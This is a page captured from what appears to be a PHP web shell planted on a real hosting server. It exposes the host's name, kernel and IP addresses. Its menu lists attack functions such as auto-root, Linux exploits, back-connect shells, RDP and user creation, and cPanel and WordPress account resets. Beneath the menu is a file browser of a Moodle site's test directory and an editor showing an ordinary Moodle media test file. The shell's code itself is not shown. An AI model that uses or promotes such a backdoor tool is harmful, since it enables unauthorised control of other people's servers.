Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.7.46
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
analytics
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxr-xr-x
content
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
other
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
performance
[ DIR ]
drwxr-xr-x
plugininfo
[ DIR ]
drwxr-xr-x
accesslib_has_capability_test....
29.73
KB
-rw-rw-r--
accesslib_test.php
219.29
KB
-rw-rw-r--
adhoc_task_test.php
18.44
KB
-rw-rw-r--
adminlib_test.php
4.38
KB
-rw-rw-r--
admintree_test.php
17.32
KB
-rw-r--r--
ajaxlib_test.php
4.36
KB
-rw-rw-r--
analysers_test.php
12.95
KB
-rw-r--r--
antivirus_test.php
8.69
KB
-rw-rw-r--
authlib_test.php
19.91
KB
-rw-r--r--
blocklib_test.php
35.27
KB
-rw-rw-r--
calendar_cron_task_test.php
2.69
KB
-rw-rw-r--
check_test.php
1.97
KB
-rw-r--r--
client_test.php
4.34
KB
-rw-r--r--
collator_test.php
11.99
KB
-rw-r--r--
completion_daily_task_test.php
5.24
KB
-rw-r--r--
completionlib_test.php
62.1
KB
-rw-rw-r--
component_test.php
40.17
KB
-rw-rw-r--
componentlib_test.php
6.64
KB
-rw-r--r--
configonlylib_test.php
6.15
KB
-rw-r--r--
content_test.php
4.77
KB
-rw-r--r--
core_media_player_native_test....
6.54
KB
-rw-r--r--
core_renderer_template_exploit...
17.28
KB
-rw-r--r--
coverage.php
1.93
KB
-rw-rw-r--
cronlib_test.php
6.89
KB
-rw-r--r--
csslib_test.php
1.79
KB
-rw-r--r--
csvclass_test.php
5.57
KB
-rw-r--r--
curl_security_helper_test.php
14.71
KB
-rw-r--r--
customcontext_test.php
3.79
KB
-rw-r--r--
dataformat_test.php
3.74
KB
-rw-r--r--
datalib_test.php
47.8
KB
-rw-r--r--
datalib_update_with_unique_ind...
6.31
KB
-rw-r--r--
date_legacy_test.php
13.9
KB
-rw-r--r--
date_test.php
24.48
KB
-rw-rw-r--
editorlib_test.php
2.01
KB
-rw-r--r--
encryption_test.php
8.68
KB
-rw-r--r--
environment_test.php
8.54
KB
-rw-r--r--
event_context_locked_test.php
4.11
KB
-rw-r--r--
event_course_module_instance_l...
2.7
KB
-rw-r--r--
event_course_module_viewed.php
3.33
KB
-rw-r--r--
event_deprecated_test.php
1.49
KB
-rw-r--r--
event_grade_deleted_test.php
3.25
KB
-rw-r--r--
event_profile_field_test.php
12.44
KB
-rw-r--r--
event_unknown_logged_test.php
1.92
KB
-rw-r--r--
event_user_graded_test.php
10.07
KB
-rw-r--r--
event_user_password_updated_te...
2.89
KB
-rw-r--r--
exporter_test.php
11.02
KB
-rw-r--r--
externallib_test.php
29.7
KB
-rw-r--r--
filelib_test.php
70.92
KB
-rw-rw-r--
filestorage_zip_archive_test.p...
2.75
KB
-rw-r--r--
filetypes_test.php
10.2
KB
-rw-r--r--
filter_manager_test.php
3.48
KB
-rw-r--r--
filterlib_test.php
36.72
KB
-rw-r--r--
formslib_test.php
39.6
KB
-rw-r--r--
gdlib_test.php
5.92
KB
-rw-r--r--
googlelib_test.php
1.54
KB
-rw-r--r--
gradelib_test.php
9.74
KB
-rw-r--r--
grades_externallib_test.php
24.66
KB
-rw-rw-r--
grading_externallib_test.php
26.27
KB
-rw-r--r--
grouplib_test.php
84.23
KB
-rw-rw-r--
h5p_clean_orphaned_records_tas...
3.12
KB
-rw-r--r--
h5p_get_content_types_task_tes...
2.69
KB
-rw-r--r--
html2text_test.php
7.58
KB
-rw-r--r--
html_writer_test.php
8.74
KB
-rw-rw-r--
htmlpurifier_test.php
22.67
KB
-rw-r--r--
ip_utils_test.php
14.27
KB
-rw-r--r--
jquery_test.php
1.76
KB
-rw-r--r--
ldaplib_test.php
17.72
KB
-rw-r--r--
licenselib_test.php
11.58
KB
-rw-r--r--
lock_config_test.php
3.39
KB
-rw-r--r--
lock_test.php
5.5
KB
-rw-r--r--
markdown_test.php
2.45
KB
-rw-r--r--
mathslib_test.php
11.12
KB
-rw-r--r--
medialib_test.php
20.19
KB
-rw-rw-r--
message_test.php
12.46
KB
-rw-rw-r--
messageinbound_test.php
5.89
KB
-rw-r--r--
messagelib_test.php
56.39
KB
-rw-rw-r--
minify_test.php
3.14
KB
-rw-r--r--
modinfolib_test.php
44.15
KB
-rw-rw-r--
moodle_page_test.php
29.58
KB
-rw-rw-r--
moodle_url_test.php
12.85
KB
-rw-r--r--
moodlelib_test.php
216.85
KB
-rw-rw-r--
mustache_template_finder_test....
7.4
KB
-rw-r--r--
mustache_template_source_loade...
18.06
KB
-rw-r--r--
myprofilelib_test.php
10.44
KB
-rw-r--r--
navigationlib_test.php
26.28
KB
-rw-rw-r--
notification_test.php
4.61
KB
-rw-r--r--
oauth2_test.php
17.57
KB
-rw-r--r--
output_mustache_helper_collect...
8.09
KB
-rw-r--r--
outputcomponents_test.php
29.67
KB
-rw-r--r--
outputfactories_test.php
6.8
KB
-rw-r--r--
outputrequirementslib_test.php
5.38
KB
-rw-r--r--
pdflib_test.php
1.51
KB
-rw-r--r--
persistent_test.php
19.95
KB
-rw-rw-r--
plugin_manager_test.php
27.39
KB
-rw-r--r--
portfoliolib_test.php
8.4
KB
-rw-r--r--
progress_display_test.php
3.75
KB
-rw-r--r--
progress_test.php
14.48
KB
-rw-r--r--
qrcode_test.php
1.88
KB
-rw-r--r--
questionlib_test.php
96.9
KB
-rw-rw-r--
regex_test.php
1.88
KB
-rw-r--r--
report_helper_test.php
3.68
KB
-rw-rw-r--
requirejs_test.php
3.73
KB
-rw-r--r--
rsslib_test.php
6.9
KB
-rw-r--r--
rtlcss_test.php
56.86
KB
-rw-r--r--
sample_questions.ser
141.76
KB
-rw-r--r--
sample_questions.xml
102.62
KB
-rw-r--r--
sample_questions_with_old_imag...
4.85
KB
-rw-r--r--
sample_questions_with_old_imag...
4.08
KB
-rw-r--r--
sample_questions_wrong.xml
102.57
KB
-rw-r--r--
scheduled_task_test.php
29.98
KB
-rw-rw-r--
scss_test.php
4.26
KB
-rw-r--r--
session_manager_test.php
33.96
KB
-rw-r--r--
session_redis_test.php
13.27
KB
-rw-r--r--
sessionlib_test.php
11.86
KB
-rw-r--r--
setuplib_test.php
19.63
KB
-rw-r--r--
statslib_test.php
26.75
KB
-rw-r--r--
string_manager_standard_test.p...
10.05
KB
-rw-rw-r--
tablelib_test.php
23.53
KB
-rw-r--r--
task_database_logger_test.php
20.15
KB
-rw-r--r--
task_logging_test.php
17.31
KB
-rw-r--r--
task_manager_test.php
11.2
KB
-rw-r--r--
task_running_test.php
6.58
KB
-rw-r--r--
text_test.php
21.09
KB
-rw-rw-r--
theme_config_test.php
9.81
KB
-rw-rw-r--
time_splittings_test.php
15.09
KB
-rw-r--r--
update_api_test.php
6.75
KB
-rw-r--r--
update_checker_test.php
10.86
KB
-rw-r--r--
update_code_manager_test.php
9.06
KB
-rw-r--r--
update_validator_test.php
18.44
KB
-rw-r--r--
upgrade_util_test.php
5.65
KB
-rw-r--r--
upgradelib_test.php
69.1
KB
-rw-rw-r--
user_menu_test.php
3.82
KB
-rw-rw-r--
user_test.php
32.36
KB
-rw-rw-r--
useragent_test.php
83.88
KB
-rw-rw-r--
weblib_format_text_test.php
12.11
KB
-rw-r--r--
weblib_test.php
35.1
KB
-rw-rw-r--
xhprof_test.php
3.32
KB
-rw-r--r--
xhtml_container_stack_test.php
4.16
KB
-rw-r--r--
xmlize_test.php
2.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : medialib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Test classes for handling embedded media (audio/video). * * @package core * @category test * @copyright 2012 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once(__DIR__ . '/fixtures/testable_core_media_player.php'); /** * Test script for media embedding. */ class core_medialib_testcase extends advanced_testcase { /** * Pre-test setup. Preserves $CFG. */ public function setUp(): void { parent::setUp(); // Reset $CFG and $SERVER. $this->resetAfterTest(); // "Install" a fake plugin for testing. set_config('version', '2016101400', 'media_test'); // Consistent initial setup: all players disabled. \core\plugininfo\media::set_enabled_plugins(''); $_SERVER = array('HTTP_USER_AGENT' => ''); $this->pretend_to_be_safari(); } /** * Sets user agent to Safari. */ private function pretend_to_be_safari() { // Pretend to be using Safari browser (must support mp4 for tests to work). core_useragent::instance(true, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) ' . 'AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1'); } /** * Sets user agent to Firefox. */ private function pretend_to_be_firefox() { // Pretend to be using Firefox browser (must support ogg for tests to work). core_useragent::instance(true, 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0 '); } /** * Test for core_media::get_filename. */ public function test_get_filename() { $manager = core_media_manager::instance(); $this->assertSame('frog.mp4', $manager->get_filename(new moodle_url( '/pluginfile.php/312/mod_page/content/7/frog.mp4'))); // This should work even though slasharguments is true, because we want // it to support 'legacy' links if somebody toggles the option later. $this->assertSame('frog.mp4', $manager->get_filename(new moodle_url( '/pluginfile.php?file=/312/mod_page/content/7/frog.mp4'))); } /** * Test for core_media::get_extension. */ public function test_get_extension() { $manager = core_media_manager::instance(); $this->assertSame('mp4', $manager->get_extension(new moodle_url( '/pluginfile.php/312/mod_page/content/7/frog.mp4'))); $this->assertSame('', $manager->get_extension(new moodle_url( '/pluginfile.php/312/mod_page/content/7/frog'))); $this->assertSame('mp4', $manager->get_extension(new moodle_url( '/pluginfile.php?file=/312/mod_page/content/7/frog.mp4'))); $this->assertSame('', $manager->get_extension(new moodle_url( '/pluginfile.php?file=/312/mod_page/content/7/frog'))); } /** * Test for the core_media_player list_supported_urls. */ public function test_list_supported_urls() { $test = new media_test_plugin(1, 13, ['tst', 'test']); // Some example URLs. $supported1 = new moodle_url('http://example.org/1.test'); $supported2 = new moodle_url('http://example.org/2.TST'); $unsupported = new moodle_url('http://example.org/2.jpg'); // No URLs => none. $result = $test->list_supported_urls(array()); $this->assertEquals(array(), $result); // One supported URL => same. $result = $test->list_supported_urls(array($supported1)); $this->assertEquals(array($supported1), $result); // Two supported URLS => same. $result = $test->list_supported_urls(array($supported1, $supported2)); $this->assertEquals(array($supported1, $supported2), $result); // One unsupported => none. $result = $test->list_supported_urls(array($unsupported)); $this->assertEquals(array(), $result); // Two supported and one unsupported => same. $result = $test->list_supported_urls(array($supported2, $unsupported, $supported1)); $this->assertEquals(array($supported2, $supported1), $result); } /** * Test for get_players */ public function test_get_players() { // All players are initially disabled (except link, which you can't). $manager = core_media_manager::instance(); $this->assertEmpty($this->get_players_test($manager)); // A couple enabled, check the order. \core\plugininfo\media::set_enabled_plugins('youtube,html5audio'); $manager = core_media_manager::instance(); $this->assertSame('youtube, html5audio', $this->get_players_test($manager)); // Test SWF and HTML5 media order. \core\plugininfo\media::set_enabled_plugins('html5video,html5audio,swf'); $manager = core_media_manager::instance(); $this->assertSame('html5video, html5audio, swf', $this->get_players_test($manager)); // Make sure that our test plugin is considered installed. \core\plugininfo\media::set_enabled_plugins('test,html5video'); $manager = core_media_manager::instance(); $this->assertSame('test, html5video', $this->get_players_test($manager)); // Make sure that non-existing plugin is NOT considered installed. \core\plugininfo\media::set_enabled_plugins('nonexistingplugin,html5video'); $manager = core_media_manager::instance(); $this->assertSame('html5video', $this->get_players_test($manager)); } /** * Test for can_embed_url */ public function test_can_embed_url() { // All players are initially disabled, so mp4 cannot be rendered. $url = new moodle_url('http://example.org/test.mp4'); $manager = core_media_manager::instance(); $this->assertFalse($manager->can_embed_url($url)); // Enable VideoJS player. \core\plugininfo\media::set_enabled_plugins('videojs'); $manager = core_media_manager::instance(); $this->assertTrue($manager->can_embed_url($url)); // VideoJS + html5. \core\plugininfo\media::set_enabled_plugins('videojs,html5video'); $manager = core_media_manager::instance(); $this->assertTrue($manager->can_embed_url($url)); // Only html5. \core\plugininfo\media::set_enabled_plugins('html5video'); $manager = core_media_manager::instance(); $this->assertTrue($manager->can_embed_url($url)); // Only SWF. \core\plugininfo\media::set_enabled_plugins('swf'); $manager = core_media_manager::instance(); $this->assertFalse($manager->can_embed_url($url)); } /** * Test for embed_url. * Checks multiple format/fallback support. */ public function test_embed_url_fallbacks() { // Key strings in the embed code that identify with the media formats being tested. $swf = '</object>'; $html5video = '</video>'; $html5audio = '</audio>'; $link = 'mediafallbacklink'; $test = 'mediaplugin_test'; $url = new moodle_url('http://example.org/test.mp4'); // All plugins disabled, NOLINK option. \core\plugininfo\media::set_enabled_plugins(''); $manager = core_media_manager::instance(); $t = $manager->embed_url($url, 0, 0, '', array(core_media_manager::OPTION_NO_LINK => true)); // Completely empty. $this->assertSame('', $t); // All plugins disabled but not NOLINK. \core\plugininfo\media::set_enabled_plugins(''); $manager = core_media_manager::instance(); $t = $manager->embed_url($url); $this->assertStringContainsString($link, $t); // Enable media players that can play the same media formats. (ie. test & html5audio for mp3 files, etc.) \core\plugininfo\media::set_enabled_plugins('test,html5video,html5audio,swf'); $manager = core_media_manager::instance(); // Test media formats that can be played by 2 or more players. $mediaformats = array('mp3', 'mp4'); foreach ($mediaformats as $format) { $url = new moodle_url('http://example.org/test.' . $format); $textwithlink = $manager->embed_url($url); $textwithoutlink = $manager->embed_url($url, 0, 0, '', array(core_media_manager::OPTION_NO_LINK => true)); switch ($format) { case 'mp3': $this->assertStringContainsString($test, $textwithlink); $this->assertStringNotContainsString($html5video, $textwithlink); $this->assertStringContainsString($html5audio, $textwithlink); $this->assertStringNotContainsString($swf, $textwithlink); $this->assertStringContainsString($link, $textwithlink); $this->assertStringContainsString($test, $textwithoutlink); $this->assertStringNotContainsString($html5video, $textwithoutlink); $this->assertStringContainsString($html5audio, $textwithoutlink); $this->assertStringNotContainsString($swf, $textwithoutlink); $this->assertStringNotContainsString($link, $textwithoutlink); break; case 'mp4': $this->assertStringContainsString($test, $textwithlink); $this->assertStringContainsString($html5video, $textwithlink); $this->assertStringNotContainsString($html5audio, $textwithlink); $this->assertStringNotContainsString($swf, $textwithlink); $this->assertStringContainsString($link, $textwithlink); $this->assertStringContainsString($test, $textwithoutlink); $this->assertStringContainsString($html5video, $textwithoutlink); $this->assertStringNotContainsString($html5audio, $textwithoutlink); $this->assertStringNotContainsString($swf, $textwithoutlink); $this->assertStringNotContainsString($link, $textwithoutlink); break; default: break; } } } /** * Test for embed_url. * Check SWF works including the special option required to enable it */ public function test_embed_url_swf() { \core\plugininfo\media::set_enabled_plugins('swf'); $manager = core_media_manager::instance(); // Without any options... $url = new moodle_url('http://example.org/test.swf'); $t = $manager->embed_url($url); $this->assertStringNotContainsString('</object>', $t); // ...and with the 'no it's safe, I checked it' option. $url = new moodle_url('http://example.org/test.swf'); $t = $manager->embed_url($url, '', 0, 0, array(core_media_manager::OPTION_TRUSTED => true)); $this->assertStringContainsString('</object>', $t); } /** * Same as test_embed_url MP3 test, but for slash arguments. */ public function test_slash_arguments() { // Again we do not turn slasharguments actually on, because it has to // work regardless of the setting of that variable in case of handling // links created using previous setting. // Enable player. \core\plugininfo\media::set_enabled_plugins('html5audio'); $manager = core_media_manager::instance(); // Format: mp3. $url = new moodle_url('http://example.org/pluginfile.php?file=x/y/z/test.mp3'); $t = $manager->embed_url($url); $this->assertStringContainsString('</audio>', $t); } /** * Test for embed_url. * Checks the EMBED_OR_BLANK option. */ public function test_embed_or_blank() { \core\plugininfo\media::set_enabled_plugins('html5audio'); $manager = core_media_manager::instance(); $this->pretend_to_be_firefox(); $options = array(core_media_manager::OPTION_FALLBACK_TO_BLANK => true); // Embed that does match something should still include the link too. $url = new moodle_url('http://example.org/test.ogg'); $t = $manager->embed_url($url, '', 0, 0, $options); $this->assertStringContainsString('</audio>', $t); $this->assertStringContainsString('mediafallbacklink', $t); // Embed that doesn't match something should be totally blank. $url = new moodle_url('http://example.org/test.mp4'); $t = $manager->embed_url($url, '', 0, 0, $options); $this->assertSame('', $t); } /** * Test for embed_url. * Checks that size is passed through correctly to player objects and tests * size support in html5video output. */ public function test_embed_url_size() { global $CFG; // Technically this could break in every format and they handle size // in several different ways, but I'm too lazy to test it in every // format, so let's just pick one to check the values get passed // through. \core\plugininfo\media::set_enabled_plugins('html5video'); $manager = core_media_manager::instance(); $url = new moodle_url('http://example.org/test.mp4'); // HTML5 default size - specifies core width and does not specify height. $t = $manager->embed_url($url); $this->assertStringContainsString('width="' . $CFG->media_default_width . '"', $t); $this->assertStringNotContainsString('height', $t); // HTML5 specified size - specifies both. $t = $manager->embed_url($url, '', '666', '101'); $this->assertStringContainsString('width="666"', $t); $this->assertStringContainsString('height="101"', $t); // HTML5 size specified in url, overrides call. $url = new moodle_url('http://example.org/test.mp4?d=123x456'); $t = $manager->embed_url($url, '', '666', '101'); $this->assertStringContainsString('width="123"', $t); $this->assertStringContainsString('height="456"', $t); } /** * Test for embed_url. * Checks that name is passed through correctly to player objects and tests * name support in html5video output. */ public function test_embed_url_name() { // As for size this could break in every format but I'm only testing // html5video. \core\plugininfo\media::set_enabled_plugins('html5video'); $manager = core_media_manager::instance(); $url = new moodle_url('http://example.org/test.mp4'); // HTML5 default name - use filename. $t = $manager->embed_url($url); $this->assertStringContainsString('title="test.mp4"', $t); // HTML5 specified name - check escaping. $t = $manager->embed_url($url, 'frog & toad'); $this->assertStringContainsString('title="frog & toad"', $t); } /** * Test for split_alternatives. */ public function test_split_alternatives() { $mediamanager = core_media_manager::instance(); // Single URL - identical moodle_url. $mp4 = 'http://example.org/test.mp4'; $result = $mediamanager->split_alternatives($mp4, $w, $h); $this->assertEquals($mp4, $result[0]->out(false)); // Width and height weren't specified. $this->assertEquals(0, $w); $this->assertEquals(0, $h); // Two URLs - identical moodle_urls. $webm = 'http://example.org/test.webm'; $result = $mediamanager->split_alternatives("$mp4#$webm", $w, $h); $this->assertEquals($mp4, $result[0]->out(false)); $this->assertEquals($webm, $result[1]->out(false)); // Two URLs plus dimensions. $size = 'd=400x280'; $result = $mediamanager->split_alternatives("$mp4#$webm#$size", $w, $h); $this->assertEquals($mp4, $result[0]->out(false)); $this->assertEquals($webm, $result[1]->out(false)); $this->assertEquals(400, $w); $this->assertEquals(280, $h); // Two URLs plus legacy dimensions (use last one). $result = $mediamanager->split_alternatives("$mp4?d=1x1#$webm?$size", $w, $h); $this->assertEquals($mp4, $result[0]->out(false)); $this->assertEquals($webm, $result[1]->out(false)); $this->assertEquals(400, $w); $this->assertEquals(280, $h); } /** * Test for embed_alternatives (with multiple urls) */ public function test_embed_alternatives() { // Most aspects of this are same as single player so let's just try // a single typical / complicated scenario. // MP4, OGV, WebM and FLV. $urls = array( new moodle_url('http://example.org/test.mp4'), new moodle_url('http://example.org/test.ogv'), new moodle_url('http://example.org/test.webm'), new moodle_url('http://example.org/test.flv'), ); // Enable html5 and "test" ("test" first). \core\plugininfo\media::set_enabled_plugins('test,html5video'); $manager = core_media_manager::instance(); // Result should contain HTML5 with two sources + FLV. $t = $manager->embed_alternatives($urls); // HTML5 sources - mp4, but not ogv, flv or webm (not supported in Safari). $this->assertStringContainsString('<source src="http://example.org/test.mp4"', $t); $this->assertStringNotContainsString('<source src="http://example.org/test.ogv"', $t); $this->assertStringNotContainsString('<source src="http://example.org/test.webm"', $t); $this->assertStringNotContainsString('<source src="http://example.org/test.flv"', $t); // FLV is before the video tag (indicating html5 is used as fallback to flv // and not vice versa). $this->assertTrue((bool)preg_match('~mediaplugin_test.*<video~s', $t)); // Do same test with firefox and check we get the webm and not mp4. $this->pretend_to_be_firefox(); $t = $manager->embed_alternatives($urls); // HTML5 sources - mp4, ogv and webm, but not flv. $this->assertStringContainsString('<source src="http://example.org/test.mp4"', $t); $this->assertStringContainsString('<source src="http://example.org/test.ogv"', $t); $this->assertStringContainsString('<source src="http://example.org/test.webm"', $t); $this->assertStringNotContainsString('<source src="http://example.org/test.flv"', $t); } /** * Make sure the instance() method returns singleton for the same page and different object for another page */ public function test_initialise() { $moodlepage1 = new moodle_page(); $mediamanager1 = core_media_manager::instance($moodlepage1); $mediamanager2 = core_media_manager::instance($moodlepage1); $this->assertSame($mediamanager1, $mediamanager2); $moodlepage3 = new moodle_page(); $mediamanager3 = core_media_manager::instance($moodlepage3); $this->assertNotSame($mediamanager1, $mediamanager3); } /** * Access list of players as string, shortening it by getting rid of * repeated text. * @param core_media_manager $manager The core_media_manager instance * @return string Comma-separated list of players */ public function get_players_test($manager) { $method = new ReflectionMethod("core_media_manager", "get_players"); $method->setAccessible(true); $players = $method->invoke($manager); $out = ''; foreach ($players as $player) { if ($out) { $out .= ', '; } $out .= str_replace('core_media_player_', '', preg_replace('/^media_(.*)_plugin$/', '$1', get_class($player))); } return $out; } }
Close